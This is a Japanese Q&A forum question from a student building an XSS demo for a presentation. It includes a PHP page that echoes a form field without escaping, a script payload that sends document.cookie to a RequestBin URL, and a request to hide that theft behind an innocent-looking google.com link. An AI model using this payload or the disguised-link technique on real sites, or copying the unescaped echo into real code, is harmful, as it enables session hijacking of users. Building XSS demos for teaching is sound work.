情報系の大学に通う学生です。
今度XSS(クロスサイトスクリプティング)に関して発表する機会があり、そのデモ環境を作っているのですが質問がいくつかあります。
今、下記のようにXSSに対する脆弱性があるphpのコードを作りました。UIは下記画像の通りです。
今RequestBinにcookieの情報を送信するスクリプトをコメント欄に埋め込むことを想定しています。
埋め込むスクリプトとしては<script>window.location='requestbinのurl?'.concat(document.cookie)</script>
です。
このスクリプトをコメント欄に直接埋め込むと問題なくrequestbinにcookie情報が保存されておりXSS攻撃は成功しています。
しかし、理想としては<a href=http://google.com>googleのURLです</a>
のようにリンクを準備して、リンクを踏むとgoogle.comにしっかりと遷移するが、kookie情報はrequestbinに送られるような、リンクを作成したいです。
つまり、<a href=http://google.com>googleのURLです</a>
と<script>window.location='requestbinのurl?'.concat(document.cookie)</script>
を組み合わせてgoogleのURLです
というリンクをクリックするとgoogle.comに遷移してかつcookie情報を奪うようなリンクを作成したいということです。
助長な説明申し訳ありません。
お手数ですが解答よろしくお願いします。
環境
・Windows10
php
1<!DOCTYPE html> 2<html> 3<head> 4<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 5<title>XSS確認</title> 6</head> 7<body> 8 <form action="" method="post" accept-charset="utf-8"> 9 <label class="label" for="name">コメント:</label> 10 <input type="text" size="70" name="xss_text" value=""> 11 <p><input type="submit" value="送信"></p> 12 </form> 13 コメント一覧: <?php echo $_POST['xss_text']; ?> 14</body> 15</html>
回答3件
あなたの回答
tips
プレビュー